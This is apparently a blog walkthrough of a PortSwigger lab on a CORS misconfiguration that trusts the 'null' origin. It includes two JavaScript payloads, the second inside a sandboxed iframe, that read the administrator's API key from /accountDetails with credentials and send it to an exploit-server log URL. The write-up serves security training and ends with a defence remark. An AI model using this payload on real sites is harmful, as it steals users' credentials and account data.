Reflected origin lab conquered – now, let’s look at when the server side accepts a null origin. Why would a developer ever allow server side to accept a null origin? Sometimes web applications need to use other protocols (file:// for example) to access local files. This could be due to an offline access requirement as well. Additionally, there are some legacy IOT devices that don’t send proper origin headers. Regardless, accepting a ‘null’ origin header can allow an attacker to navigate around CORS and is something to be avoided if possible!
What is CORS? – Check the previous lab for additional detail.
Labs
- Reflected Origin: https://sc.scomurr.com/cors-vulnerability-with-origin-reflection/
- Null Origin: (This lab) https://sc.scomurr.com/cors-vulnerability-with-null-origin/
- Trusted Insecure Protocols: Coming Soon
Lab: CORS vulnerability with trusted null origin
https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
For this lab, this website has an insecure CORS configuration in that it trusts the “null” origin. We meed to craft some JS that can harvest the administrator’s API Key and send it to our logging mechanism so that we can harvest and submit to solve the lab.
Step 1: Craft a payload that works against ourselves. We can log in with own creds (notice the My account and the creds are provided in the lab).
Also, notice we have access to the exploit server.
Step 2: Once we login, we can see our API Key:
Looking in Burp, we can see that this lab has the same /accountDetails endpoint as the last lab:
All we have to do is get Administrator to open a payload just like last lab.
Step 3: Craft the payload. It should be essentially the same as the previous lab, right?
<script>
fetch('https://<lab>.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include',
headers: {
'Origin': 'null' // this was the exploit server in the last lab <----------
}
})
.then(response => response.json())
.then(data => {
const apiKey = data.apikey;
fetch(`https://exploit-<exploit>.exploit-server.net/log?apiKey=${apiKey}`);
});
</script>
In the previous lab, the server reflected the Origin header from the request as the Access-Control-Allow-Origin header in the response. For this lab, this approach won’t work – but let’s proceed with it for now.
Step 4: Place on exploit server and test on self:
View exploit and then check Access log
No luck!
Step 5: Troubleshoot. Let’s look in the proxy log. Here we can see the call that was made from client side to try and get the details. In fact, it did get the details from the /accountDetails endpoint, but the Same-Origin Policy (SOP) within the browser prevented the usage of the response within the JS delivered from the exploit server because the Access-Control-Allow-Origin header is missing!
Send to Repeater – try sending with a null origin and see if we get a reflection
So, why did our payload not work?
- Fetch Standard: https://fetch.spec.whatwg.org/#origin-header
- XHR standard: https://xhr.spec.whatwg.org/
Essentially, both set forth the standard that the browser is going to force set the origin on the request to the actual origin of the request. This is why we get the null ACAO header when we send the request from Burp, but we don’t get the ACAO header when trying toview the actual exploit.
So, how do we get past this? What mechanism is there for allowing the purposeful setting of the Origin header on request to ‘null’?
Enter the iframe.
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://<lab>.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
const apiKey = data.apikey;
fetch('https://exploit-<exploit>.exploit-server.net/log?apiKey=' + apiKey);
});
</script>
"></iframe>
Iframe sandox: https://html.spec.whatwg.org/multipage/browsers.html#attr-iframe-sandbox-allow-same-origin
Now, this is a BRUTAL read – It’s a speghetti bowl of hyperlinks. Essentially, what it comes down to is that if you specify the sandbox attribute on the iframe it either needs to have the allow-same-origin
attribute set or the origin header will get set to ‘null’ (which is exactly what we need).
Note: We do have to include the allow-scripts
value on the sandbox attribute in order to allow the contained JS to execute.
Step 6: Test again
Store -> View Exploit -> Access Log
And boom goes the dynamite. We have the API Key when testing against myself.
Step 7: Send to victim and solve!
We can see the internal (to the lab) IP address of the administrator account executing the delivered payload. Copy off the key and submit!
Conclusion
CORS misconfigurations like accepting a null origin are sneaky but common vulnerabilities that can lead to serious data leaks if exploited. By understanding how to identify and abuse these flaws, it can allow for easy CORS bypasses. One person’s misconfiguration is another person’s bounty!
From a defense standpoint, the converse is true. Understanding these vulnerabilities is key in shoring up the defenses.
Happy Hacking!